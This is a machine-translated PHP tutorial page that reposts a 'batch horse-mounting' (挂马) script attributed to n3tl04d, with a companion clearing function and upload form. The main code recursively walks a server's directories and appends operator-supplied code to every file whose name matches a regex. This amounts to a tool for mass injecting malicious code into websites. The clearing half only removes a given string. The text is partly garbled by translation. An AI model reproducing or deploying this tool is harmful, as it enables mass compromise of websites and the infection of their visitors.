ホームページ  >  記事  >  バックエンド開発  >  PHP_PHP チュートリアルでのバッチ ホース マウントおよびバッチ クリア コー​​ド

PHP_PHP チュートリアルでのバッチ ホース マウントおよびバッチ クリア コー​​ド

WBOY
WBOYオリジナル
2016-07-21 15:32:08996ブラウズ

コードをコピーします コードは次のとおりです:

function gmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = @fopen (”$file”, “a”);
@fwrite($handle, “$mm”);
@fclose($handle);
echo “已挂马文件:$file\n
”;

}
}
}
$d->close();
echo ” “;
}
function qmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = fopen (”$file”, “rb”);
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,””,$oldcontent);
$fw = fopen (”$file”, “wb”);
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo “已清马文件:$file\n
”;

}
}
}
$d->close();
echo ” “;
}

if ($_GET['action']=='gm') {
set_time_limit(0);
gmfun($_POST["dir"]);
}
if ($_GET['action']=='qm') {
set_time_limit(0);
qmfun($_POST["dir"]);
}
?>
批量挂马(清马)程序php版
?action=gm” method=”post”>
















网站批量挂马程序php版
BY n3tl04d

路径: (可填相对路径)
挂马关键字: —–正则表达式匹配——
想写入的挂马代码:


  



?action=qm” method=”post”>


















www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/322900.html技術記事复制代码代码如下: ?php function gmfun($path=”.”) { $d = @dir($path); while(false !== ($v = $d-read())) { if($v == “.” || $v == “..”) 続行; $file = $d-path.”...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
批量清马工具php版
BY 随风而去(LST)

経路: (可充填相对路径)
清马关键字: —–正则表达式適合——
想清除的挂马代码: